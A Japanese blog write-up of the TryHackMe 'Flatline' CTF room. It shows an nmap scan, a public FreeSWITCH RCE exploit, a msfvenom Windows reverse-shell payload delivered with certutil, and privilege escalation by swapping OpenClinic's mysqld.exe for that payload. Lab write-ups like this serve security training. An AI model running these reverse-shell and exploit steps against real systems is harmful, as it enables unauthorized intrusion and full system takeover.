LoginSignup
0
0

More than 1 year has passed since last update.

TryHackMe Flatline writeup

Posted at

Room: Flatline
Difficulty: Easy
Show: Free

CTF形式でマシン攻略しフラグを取得するタイプのRoomになります。
内在する脆弱性をexploitして攻略するマシンでした。

列挙

nmapを実行したところ、3389/tcp(RDP)と8021/tcp(freeswitch-event)が稼働していることがわかりました。
nmap -v -p- -Pn -T4 -sV -sC -A 10.10.253.119
image.png
3389/tcp(RDP)は認証情報を入手した際に確認するとして、8021/tcp(freeswitch-event)が気になります。

freeSWITCHとは?

FreeSWITCHはSoftware Defined Telecom Stackであり、独自の通信スイッチから、あらゆるコモディティハードウェア上で動作する汎用的なソフトウェア実装へのデジタル変換を可能にします。Raspberry PIからマルチコアサーバーまで、FreeSWITCHはあらゆるデバイスの通信の可能性を解き放つことができます。ホスティングされたクラウドプラットフォームであるSignalWireと組み合わせることで、FreeSWITCHは外部と相互接続し、あらゆるサイズに拡張することが可能です。

PBX(オフィス電話システム)やVoIP電話、ボイスメール、ビデオ会議ホストなどのアプリケーションで使用されているようです。
また、調べていくとRCE可能なexploitコードがありました。
FreeSWITCH v1.10.1は、接続にあたって認証が必要なのですが、ここでデフォルトの認証情報を使用している場合にRCEが可能になるようです。

searchsploitコマンドでexploit情報を取得します。
image.png
取得したものはテキストファイルだったので、exploit部分を抜き出し、別途保存します。>exploit.py
image.png
exploitコードを実行します。
python3 exploit.py <target> <cmd>
image.png
無事、コマンドを実行することが出来ました。
続いて、このexploitコードを使用してリバースシェルを取得していきます。

まずは、リバースシェル取得用のペイロードを作成します。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
image.png
続けて、作成したペイロードを対象マシンへ送り込みます。
kali側で簡易的なWebサーバを稼働させ、対象マシンでcertutilコマンドを実行します。
image.png
最後に、kaliで接続を待ち受け、送り込んだペイロードを実行します。
image.png
無事、最初のシェルを取得することが出来ました。
image.png

権限昇格

しばらくの間探索を行ったところ、C:\Users\Administrator\Desktopにて怪しげな実行ファイルを見つけました。
OpenClinicとは?

OpenClinicは、PHPで書かれた使いやすいオープンソースの医療記録システムです。主に個人のクリニック、外科、個人医師のために考えられています。プラットフォームに依存せず、多言語アーキテクチャを採用しています。

image.png
また、searchsploitコマンドにてローカル権限昇格のexploitを見つけることが出来ました。
image.png
内容としては、C:\projects\openclinic\mariadb\bin\に対して低レベル権限のユーザに書き込み権限がある場合、C:\projects\openclinic\mariadb\bin\にある「mysqld.exe」もしくは「tomcat8.exe」を攻撃者が用意したリバースシェル用のペイロードに書き換えることでシステム権限のリバースシェルを取得できるというものです。

手順としては以下の通りになります。

  1. kali側でリバースシェル用のペイロードを作成
  2. 作成したペイロードをC:\projects\openclinic\mariadb\bin\に配置
  3. 元のmysqld.exeもしくはtomcat8.exeを作成したペイロードに置換
  4. kaliで接続を待ち受け、対象マシンを再起動

手順が少なく、容易に権限昇格が出来てしまうため、かなり危険な脆弱性と言えます。

実際に実行していきます。
まずは、リバースシェル用のペイロードを作成し、対象マシンへ送り込みます。
image.png
続いて、現状のmysqld.exeを送り込んだペイロードへ変更します。
ここではrenコマンドを使用してファイル名を変更します。
image.png
image.png
最後にkaliで接続を待ち受け、対象マシンを再起動します。
再起動はshutdown /r /t 1にて行います。
※再起動に少し時間かかります。
image.png
無事、システム権限のシェルを取得することが出来ました。
image.png

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0